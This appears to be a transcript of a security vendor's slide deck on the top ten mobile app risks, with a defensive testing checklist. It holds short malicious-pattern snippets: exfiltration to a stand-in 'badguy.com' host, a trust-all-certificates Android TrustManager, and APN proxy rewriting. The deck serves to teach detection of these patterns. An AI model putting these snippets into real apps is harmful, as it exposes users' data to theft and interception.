The Mobile App Top 10 Risks



Similar documents
Defending Behind the Device: Mobile Application Risks

Izplatītākie mobilo iekārtu lietošanas riski, kas apdraud organizācijas datu un informācijas sistēmu drošību Raivis Kalniņš 2015, Riga

Defending Behind The Device Mobile Application Risks

Norton Mobile Privacy Notice

Best Practice Guide (SSL Implementation) for Mobile App Development 最 佳 行 事 指 引. Jointly published by. Publication version 1.

Security Guide. BlackBerry Enterprise Service 12. for ios, Android, and Windows Phone. Version 12.0

BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: Security Note

ABSTRACT' INTRODUCTION' COMMON'SECURITY'MISTAKES'' Reverse Engineering ios Applications

Mobile Device Management

Lecture Embedded System Security A. R. Darmstadt, Introduction Mobile Security

Penetration Testing for iphone Applications Part 1

Tutorial on Smartphone Security

Legal notices. Legal notices. For legal notices, see

Veracode White Paper The Internet of Things: Security Research Study. The Internet of Things: Security Research Study

How To Test For Security On A Mobile Device

Enterprise Mobile Threat Report

Certified Ethical Hacker Exam Version Comparison. Version Comparison

PCI Security Standards Council

Smart Card APDU Analysis

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

Enterprise Application Security Workshop Series

The Mobile Security Challenge: Opportunities & Issues Matthew Young, Security Programs Manager

The Top Web Application Attacks: Are you vulnerable?

CHECK POINT Mobile Security Revolutionized. [Restricted] ONLY for designated groups and individuals

WHITE PAPER Usher Mobile Identity Platform

Where every interaction matters.

Configuration Guide BES12. Version 12.3

Locking down a Hitachi ID Suite server

Database security issues PETRA BILIĆ ALEXANDER SPARBER

VoipSwitch softphones

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Threat Model for Mobile Applications Security & Privacy

Thick Client Application Security

Copyright 2013, 3CX Ltd.

APPLICATION SECURITY: FROM WEB TO MOBILE. DIFFERENT VECTORS AND NEW ATTACK

Embracing BYOD. Without Compromising Security or Compliance. Sheldon Hebert SVP Enterprise Accounts, Fixmo.

Basic Security Considerations for and Web Browsing

Configuration Guide. BlackBerry Enterprise Service 12. Version 12.0

Configuration Guide BES12. Version 12.2

Cyber Security Awareness

Protecting against Mobile Attacks

Discovering passwords in the memory

Workday Mobile Security FAQ

Ensuring the security of your mobile business intelligence

CEH Version8 Course Outline

Kaspersky Lab Mobile Device Management Deployment Guide

Smartphone Security. A Holistic view of Layered Defenses. David M. Wheeler, CISSP, CSSLP, GSLC. (C) 2012 SecureComm, Inc. All Rights Reserved

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

TechnoLabs Software Services Pvt Ltd. Enterprise Mobility - Mobile Device Security

Pentesting Mobile Applications

Passing PCI Compliance How to Address the Application Security Mandates

Monitoring mobile communication network, how does it work? How to prevent such thing about that?

That Point of Sale is a PoS

Configuration Guide BES12. Version 12.1

Chapter 1 Web Application (In)security 1

Contents. Identity Assurance (Scott Rea Dartmouth College) IdM Workshop, Brisbane Australia, August 19, 2008

BLACKJACKING: SECURITY THREATS TO BLACKBERRY DEVICES, PDAS, AND CELL PHONES IN THE ENTERPRISE

Protecting Your Organisation from Targeted Cyber Intrusion

10- Assume you open your credit card bill and see several large unauthorized charges unfortunately you may have been the victim of (identity theft)

Smartphone Pentest Framework v0.1. User Guide

Mobile Device Management:

Mobile Application Security Sharing Session May 2013

Potential Targets - Field Devices

Intro to Firewalls. Summary

DEF CON 19: Getting SSLizzard. Nicholas J. Percoco Trustwave SpiderLabs Paul Kehrer Trustwave SSL

BYOD Guidance: BlackBerry Secure Work Space

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Detailed Description about course module wise:

Practical Attacks against Mobile Device Management (MDM) Michael Shaulov, CEO Daniel Brodie, Security Researcher Lacoon Mobile Security

Cyber Security Awareness

Kaseya 2. User Guide. Version 1.0

Salesforce1 Mobile Security Guide

Web Application Report

BlackBerry Device Software. Protecting BlackBerry Smartphones Against Malware. Security Note

Mobile Application Hacking for Android and iphone. 4-Day Hands-On Course. Syllabus

Mike Zusman 3/7/2011. OWASP Goes Mobile SANS AppSec Summit 2011

U.S. Cellular Mobile Data Security. User Guide Version 00.01

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

SENSE Security overview 2014

Running Head: AWARENESS OF BYOD SECURITY CONCERNS 1. Awareness of BYOD Security Concerns. Benjamin Tillett-Wakeley. East Carolina University

Mobile Security Threats: Get Ready for 2016

Final Year Project Interim Report

Worms, Trojan Horses and Root Kits

Configuration Guide. BES12 Cloud

10 Quick Tips to Mobile Security

Mobile Malware Network View. Kevin McNamee : Alcatel-Lucent

CS5008: Internet Computing

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Eyes on IZON: Surveilling IP Camera Security

Rational AppScan & Ounce Products

Mobile Device Management Solution Hexnode MDM

Online Security Awareness - UAE Exchange - Foreign Exchange Send Money UAE Exchange

Cloud Services MDM. ios User Guide

White Paper. Three Steps To Mitigate Mobile Security Risks

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

Sophos Mobile Control Technical guide

But... It s an App/Play Store Download: Research Exposes Mobile App Flaws

Click to edit Master title style

Mobile Softphone. Mobile softphones. iphone mobile softphone

What is Web Security? Motivation

Transcription:

The Mobile App Top 10 Risks Track your location? Tap your phone call? Steal your photos? Its ALL Possible Clint Pollock Application Security Evangelist 630-289-7544 Cpollock@veracode.com

Agenda Mobile Device Risks at Every Layer Mobile App Ecosystems Mobile App Top 10 Risks

Mobile Device Risks at Every Layer NETWORK: Interception of data over the air. Mobile WiFi has all the same problems as laptops GSM has shown some cracks. HARDWARE: Baseband layer attacks Memory corruption defects in firmware used to root your device Demonstrated at CCC/Black Hat DC 2011 by Ralf-Philipp Weinmann OS: Defects in kernel code or vendor supplied system code iphone or Android jailbrakes are usually exploiting these defects APPLICATION: Apps with vulnerabilities and malicious code have access to your data and device sensors Your device isn t rooted but all your email and pictures are stolen, your location is tracked, and your phone bill is much higher than usual.

Mobile App Ecosystem Mobile platform providers have different levels of controls over their respective ecosystems Platform Signing Revocation Approval Android ios Anonymous, self-signed Signed by Vendor Yes Yes No Policy & Quality Blackberry Signed with Vendor issued key Yes No Windows Phone Signed by Vendor Yes Policy, Quality & Security Symbian Signed by Vendor Yes Quality

Why a Top 10 Mobile App Risks? Mobile Apps need their own list. Modern mobile applications run on devices that have the functionality a laptop running a general purpose operating system. But mobile devices are not just small computers. Risks can be maliciously designed or inadvertent. Designed to educate developers and security professionals about mobile application behavior that puts users at risk. Use Top 10 to determine the coverage of a mobile security solution Development of an app Acceptance testing of an app App store vetting process Security software running on a mobile device.

The Top 10 List Malicious Functionality 1. Activity monitoring and data retrieval 2. Unauthorized dialing, SMS, and payments 3. Unauthorized network connectivity (exfiltration or command & control) 4. UI Impersonation 5. System modification (rootkit, APN proxy config) 6. Logic or Time bomb Vulnerabilities 7. Sensitive data leakage (inadvertent or side channel) 8. Unsafe sensitive data storage 9. Unsafe sensitive data transmission 10. Hardcoded password/keys

1. Activity monitoring and data retrieval Risks: Sending each email sent on the device to a hidden 3 rd party address Listening in on phone calls or simply open microphone recording. Stored data, contact list or saved email messages retrieved. The following are examples of mobile data that attackers can monitor and intercept: Messaging (SMS and Email) Audio (calls and open microphone recording) Video (still and full-motion) Location Contact list Call history Browsing history Input Data files

1. Activity monitoring and data retrieval Examples: Secret SMS Replicator for Android SpyPhone for iphone http://www.switched.com/2010/10/28/sms-replicator-forwardstexts-banned-android/ http://threatpost.com/en_us/blogs/new-spyphone-iphone-app-canharvest-personal-data-120409

1. Activity monitoring and data retrieval Mobile Platform Example Sources iphone NSString *path = @"/private/var/wireless/library/preferences/c om.apple.commcenter.plist"; NSDictionary *d = [NSDictionary dictionarywithcontentsoffile:path]; self.imsi = [d valueforkey:@"imsi"]; Android TelephonyManager.getCellLocation, CdmaCellLocation.getNetworkId(), GsmCellLocation.getNetworkId() Black Berry Store st = Session.getDefaultInstance().getStore(); Folder[] f = st.list(); for (int i ) { Message[] msgs = f[i].getmessages(); } Reasoning Acquisition of the IMSI identifier from the com.apple.commcenter.plist property list. Gain devices current location and unique identifiers. Permissions Required: - ACCESS_FINE_LOCATION - ACCESS_COARSE_LOCATION - ACCESS_LOCATION_EXTRA_COMMANDS Read email messages from default Inbox.

2. Unauthorized Dialing, SMS, and Payments Directly monetize a compromised device Premium rate phone calls, premium rate SMS texts, mobile payments SMS text message as a spreading vector for worms. Examples: Premium rate SMS Trojan-SMS.AndroidOS.FakePlayer.a https://www.computerworld.com/s/article/9180561/new_android_ malware_texts_premium_rate_numbers Premium rate phone call Windows Mobile Troj/Terdial-A http://nakedsecurity.sophos.com/2010/04/10/windows-mobileterdial-trojan-expensive-phone-calls/

2. Unauthorized Dialing, SMS and Payments Mobile Platform Example Sinks Reasoning iphone N/A Not feasible without rooting device, as inapp SMS prompts user prior to sending. Android SmsManager sm = sm.sendtextmessage(phonenumber, "1112223333", data, null, null); Black Berry conn = (MessageConnection) Connector.open("sms://" + phonenumber + ":3590"); conn.send( ); Arbitrary SMS messages can be sent (application must have android.permission.send_sms permissions) Does not require any special permissions, application must be signed.

3. Unauthorized network connectivity (exfiltration or command & control) Spyware or other malicious functionality typically requires exfiltration to be of benefit to the attacker. Mobile devices are designed for communication. Many potential vectors that a malicious app can use to send data to the attacker. The following are examples of communication channels attackers can use for exfiltration and command and control: Email SMS HTTP get/post TCP socket UDP socket DNS exfiltration Bluetooth Blackberry Messenger

3. Unauthorized network connectivity (exfiltration or command & control) Mobile Platform iphone Example Sinks NSURL *url = [NSURL URLWithString: @"http://badguy.com/steal?<data>"]; NSMutableURLRequest *req = [NSMutableURLRequest requestwithurl:url]; conn = [[NSURLConnection alloc] initwithrequest:req delegate:self]; Reasoning Exfiltrate data using HTTP requests. Android SmsManager sm = sm.sendtextmessage(phonenumber, "1112223333", data, null, null); Black Berry net.rim.device.api.io.datagrambase(data, int offset, int length, String address) Exfiltrate via SMS messages. Exfiltrate via UDP to an arbitrary destination.

4. UI impersonation Similar to phishing attacks that impersonating website of their bank or online service. Web view applications on the mobile device can proxy to legitimate website. Malicious app creates UI that impersonates that of the phone s native UI or the UI of a legitimate application. Victim is asked to authenticate and ends up sending their credentials to an attacker. Example: Proxy/MITM 09Droid Banking apps http://www.theinquirer.net/inquirer/news/1585716/fraud-hitsandroid-apps-market

5. System modification (rootkit, APN proxy config) Malicious applications will often attempt to modify the system configuration to hide their presence. This is often called rootkit behavior. Configuration changes also make certain attacks possible. Examples: modifying the device proxy configuration. Setting up e-mail forwarders to shadow copy received messages. Example Android DroidDream Trojans Rootkit Phone http://www.androidpolice.com/2011/03/01/the-mother-of-all-android-malwarehas-arrived-stolen-apps-released-to-the-market-that-root-your-phone-stealyour-data-and-open-backdoor

5. System modification (rootkit, APN proxy config) Mobile Platform Example Sinks Reasoning iphone N/A Not available without jailbroken/rooted device. Android ContentResolver cr = getcontentresolver(); ContentValues values = new ContentValues(); values.put("proxy", "192.168.0.1"); values.put("port", 8099); cr.update(uri.parse("content://telephony/carri ers"), values, null, null); Requires com.android.write_apn_settings permissions. Black Berry N/A Many examples in txsbbspy http://www.veracode.com/images/txsbbsp y.java

6. Logic or Time Bomb [CWE-511] Logic or time bombs are classic backdoor techniques that trigger malicious activity based on a specific event, device usage or time.

6. Logic or Time Bomb [CWE-511] Mobile Platform iphone Android Example Sinks // Could be any time/date retrieval function NSDate * now = [NSDate date]; NSDate * targetdate = [NSDate datewithstring:@"2011-012-13 19:29:54-0400"]; if (![[now laterdate:targetdate] isequaltodate:targetdate]) { } // Could be any time/date retrieval function if( time(null) > 1234567890 ) { } Black Berry if (System.currentTimeMillis() == 1300263449484L) { } Reasoning Hardcoded timestamp comparison. Same as above (native code) Same reasoning but java version.

7. Sensitive Data Leakage [CWE-200] Sensitive data leakage can be either inadvertent or side channel. A legitimate apps usage of device information and authentication credentials can be poorly implemented thereby exposing this sensitive data to 3 rd parties. Location Owner ID info: name, number, device ID Authentication credentials Authorization tokens Example: Sensitive data leakage -Storm8 Phone Number Farming http://www.boingboing.net/2009/11/05/iphone-game-dev-accu.html Android DroidDream Trojans steal data http://www.androidpolice.com/2011/03/01/the-mother-of-allandroid-malware-has-arrived-stolen-apps-released-to-the-marketthat-root-your-phone-steal-your-data-and-open-backdoor

7. Sensitive Data Leakage [CWE-200] Mobile Platform iphone Android Example Sources ABAddressBookRef addressbook = ABAddressBookCreate(); CFArrayRef allpeople = ABAddressBookCopyArrayOfAllPeople(addressBook); Cursor cursor = cr.query(uri.parse("content://sms/inbox", new String[] {"_id", "thread_id", "address", "person", "date", "body"}, read = 0, null, date DESC ); while (cursor.movetonext()) { String addr = cursor.getstring(2); } Black Berry PhoneLogs pl = PhoneLogs.getInstance(); int nc = pl.numberofcalls(phonelogs.folder_normal_calls); for (int i = 0; i < nc; i++) { CallLog cl = pl.callat(i, PhoneLogs.FOLDER_NORMAL_CALLS); Reasoning Address book information SMS message information Call log information

8. Unsafe Sensitive Data Storage [CWE-312] Mobile apps often store sensitive data: banking and payment system PIN numbers, credit card numbers, or online service passwords. Sensitive data should always be stored encrypted. Make use of strong cryptography to prevent data being stored in a manner that allows retrieval. Storing sensitive data without encryption on removable media such as a micro SD card is especially risky. Examples: Citibank insecure storage of sensitive data http://www.pcworld.com/businesscenter/article/201994/citi_iphone _app_flaw_raises_questions_of_mobile_security.html Wells Fargo Mobile application 1.1 for Android stores a username and password, along with account balances, in clear text. http://osvdb.org/show/osvdb/69217

9. Unsafe sensitive data transmission [CWE-319] It is important that sensitive data is encrypted in transmission lest it be eavesdropped by attackers. Mobile devices are especially susceptible because they use wireless communications exclusively and often public WiFi, which is known to be insecure. SSL is one of the best ways to secure sensitive data in transit. Beware of downgrade attack if it allows degrading HTTPS to HTTP. Beware of not failing on invalid certificates. This would enable that a manin-the-middle attack.

9. Unsafe sensitive data transmission [CWE-319] Mobile Platform iphone Android Example Sinks NSURL *url = [NSURL URLWithString: @"http://cleartext.com"]; NSMutableURLRequest *req = [NSMutableURLRequest requestwithurl:url]; conn = [[NSURLConnection alloc] initwithrequest:req delegate:self]; TrustManager[] trustallcerts = <custom trust manager that ignores certs> SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustallcerts, new java.security.securerandom()); HttpsURLConnection.setDefaultSSLSocketFactory( sc.getsocketfactory()); Black Berry HttpConnection c = (HttpConnection)Connector.open("http://cleartext.c om") Reasoning Requests made over HTTP and not HTTPS. A commonly copied/used method for disabling certificate checks in Java/Android. (http://carzoo.org/ignore- certificate-for- HttpURLConnection-in-Android) Requests made over HTTP not HTTPS

10. Hardcoded password/keys [CWE-798] The use of hardcoded passwords or keys is sometimes used as a shortcut by developers to make the application easier to implement, support, or debug. Once this hardcoded password is discovered through reverse engineering it renders the security of the application or the systems it authenticates to with this password ineffective. Example: Mastercard sample code: http://jack-mannino.blogspot.com/2011/02/scary-scary-mobilebanking.html final String companyid = "your-company-id-here"; final String companypassword = "your-company-password-here";

10. Hardcoded Password/Keys [CWE-798] Mobile Platform iphone Example Sources NSMutableURLRequest *request = [NSMutableURLRequest requestwithurl: [NSURL URLWithString:@"http://TWITTER_ACCOUNT:PASSWORD@twit ter.com/statuses/update.xml"] cachepolicy:nsurlrequestuseprotocolcachepolicy timeoutinterval:30.0]; Reasoning Hardcode credentials in a URL schema. Android String password = backdoor ; String constant marked as a password variable Black Berry String passwd = secret Same as above.

Testing Check List Before You Start Create a list of what is considered sensitive data to the application or device: Phone identifiers such as (IMSI or IMEI) Address Book Account Details E-mail Stock application data Banking Data GPS Location(s) Web History User s Dictionary Images Notes Calendar Appointments Call Logs Encryption Keys

Testing Check List (Continued) 1. Activity Monitoring and Data Retrieval - Look for API calls that interface with the devices sensors or services (gps/sms/email) 2. Unauthorized Dialing, SMS, and Payments - Look for any API calls or functions that directly utilize SMS or payment features of the platform. 3. Unauthorized Network Connectivity (exfiltration or command & control) - Search for API calls which utilize remote communications such as: HTTP, E-Mail, Raw Sockets, SMS, Bluetooth, IR. 4. UI Impersonation - Ensure application was written by a trusted application developer, contact target company if any doubts or suspicions. - Monitor network traffic to ensure data is not being proxied or sent to 3 rd parties 5. System Modification (rootkit, APN proxy config) - Most likely exploitation of privilege escalation bug will occur. Look for calls to native code, or applications requesting excessive permission sets. Look for calls to native code via System.load and JNI calls in Android.

Testing Check List (Continued) 6. Logic or Time bomb - Search code looking for comparisons of time or sequences against hardcoded values. 7. Sensitive Data Leakage (inadvertent or side channel) - Search for references of sensitive data that is then used in network communications. Alternatively monitor network traffic to determine what data is being sent. 8. Unsafe Sensitive Data Storage - Any API calls that are used to store data in an sdcard or database should be examined and determine if data is encrypted prior to storage. 9. Unsafe Sensitive Data Transmission - Search for sensitive data being transmitted in HTTP requests or over SMS/E-mail, look for insecure methods of creating communication channels, such as disabling certificate checking. 10. Hardcoded Password/Keys - Search for variables or strings that appear to be used for authentication or authorization purposes. Validate authentication procedures do not use hardcoded values or cryptographic data (keys/salts).

Clint Pollock Application Security Evangelist 630-289-7544 Cpollock@veracode.com Links: Many examples in txsbbspy http://www.veracode.com/images/txsbbspy.java http://www.veracode.com/blog/2010/02/is-your-blackberry-app-spying-on-you/ QUESTIONS?